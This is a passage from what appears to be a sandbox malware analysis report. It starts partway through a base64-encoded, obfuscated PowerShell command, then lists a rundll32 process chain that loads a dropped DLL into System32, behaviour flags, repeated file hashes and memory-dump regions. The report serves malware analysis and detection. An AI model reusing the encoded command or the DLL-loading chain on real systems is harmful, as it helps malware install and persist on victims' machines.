CgAKQA7ACQARwA0ADAAUwA9ACgAKAAnAFkANwAnACsAJwA4ACcAKQArACcATwAnACkAOwBiAHIAZQBhAGsAOwAkAEsAMwA4AEEAPQAoACcARwA3ACcAKwAnADQAWAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEANAA3AFEAPQAoACgAJwBaADgAJwArACcANQAnACkAKwAnAEgAJwApAA==2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dll AnyString3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dll AnyString4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dll",#15⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Nknmczneyf\mkmgqvccs.dkh",MLBHDhVUmSOBqhR6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Nknmczneyf\mkmgqvccs.dkh",#17⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dllMD5
3d2fd352dcc7a8ac966acb97962b0a99
SHA13da986ade7db698139ca46ca96f7d1e0aa3318f4
SHA2569b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83
SHA51282f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211
-
\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dllMD5
3d2fd352dcc7a8ac966acb97962b0a99
SHA13da986ade7db698139ca46ca96f7d1e0aa3318f4
SHA2569b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83
SHA51282f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211
-
\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dllMD5
3d2fd352dcc7a8ac966acb97962b0a99
SHA13da986ade7db698139ca46ca96f7d1e0aa3318f4
SHA2569b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83
SHA51282f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211
-
\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dllMD5
3d2fd352dcc7a8ac966acb97962b0a99
SHA13da986ade7db698139ca46ca96f7d1e0aa3318f4
SHA2569b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83
SHA51282f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211
-
\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dllMD5
3d2fd352dcc7a8ac966acb97962b0a99
SHA13da986ade7db698139ca46ca96f7d1e0aa3318f4
SHA2569b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83
SHA51282f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211
-
\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dllMD5
3d2fd352dcc7a8ac966acb97962b0a99
SHA13da986ade7db698139ca46ca96f7d1e0aa3318f4
SHA2569b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83
SHA51282f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211
-
\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dllMD5
3d2fd352dcc7a8ac966acb97962b0a99
SHA13da986ade7db698139ca46ca96f7d1e0aa3318f4
SHA2569b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83
SHA51282f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211
-
\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dllMD5
3d2fd352dcc7a8ac966acb97962b0a99
SHA13da986ade7db698139ca46ca96f7d1e0aa3318f4
SHA2569b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83
SHA51282f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211
-
\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dllMD5
3d2fd352dcc7a8ac966acb97962b0a99
SHA13da986ade7db698139ca46ca96f7d1e0aa3318f4
SHA2569b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83
SHA51282f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211
-
memory/748-32-0x00000000001A0000-0x00000000001C0000-memory.dmpFilesize
128KB
-
memory/748-33-0x0000000010000000-0x0000000010023000-memory.dmpFilesize
140KB
-
memory/748-21-0x0000000075781000-0x0000000075783000-memory.dmpFilesize
8KB
-
memory/748-20-0x0000000000000000-mapping.dmp
-
memory/1352-38-0x0000000000000000-mapping.dmp
-
memory/1524-18-0x0000000000000000-mapping.dmp
-
memory/1588-26-0x0000000000000000-mapping.dmp
-
memory/1596-17-0x0000000000570000-0x0000000000571000-memory.dmpFilesize
4KB
-
memory/1596-3-0x00000000700B1000-0x00000000700B3000-memory.dmpFilesize
8KB
-
memory/1596-4-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/1596-2-0x0000000072631000-0x0000000072634000-memory.dmpFilesize
12KB
-
memory/1608-13-0x000000001AA04000-0x000000001AA06000-memory.dmpFilesize
8KB
-
memory/1608-7-0x000007FEFBA81000-0x000007FEFBA83000-memory.dmpFilesize
8KB
-
memory/1608-11-0x0000000002450000-0x0000000002451000-memory.dmpFilesize
4KB
-
memory/1608-10-0x000000001AB00000-0x000000001AB01000-memory.dmpFilesize
4KB
-
memory/1608-14-0x00000000023A0000-0x00000000023A1000-memory.dmpFilesize
4KB
-
memory/1608-9-0x0000000002360000-0x0000000002361000-memory.dmpFilesize
4KB
-
memory/1608-8-0x000007FEF5290000-0x000007FEF5C7C000-memory.dmpFilesize
9.9MB
-
memory/1608-12-0x000000001AA00000-0x000000001AA02000-memory.dmpFilesize
8KB
-
memory/1608-6-0x0000000000000000-mapping.dmp
-
memory/1608-16-0x000000001B4A0000-0x000000001B4A1000-memory.dmpFilesize
4KB
-
memory/1608-15-0x000000001B6B0000-0x000000001B6B1000-memory.dmpFilesize
4KB
-
memory/1612-5-0x0000000000000000-mapping.dmp
-
memory/1820-36-0x0000000000000000-mapping.dmp
-
memory/1880-44-0x000007FEF7540000-0x000007FEF77BA000-memory.dmpFilesize
2.5MB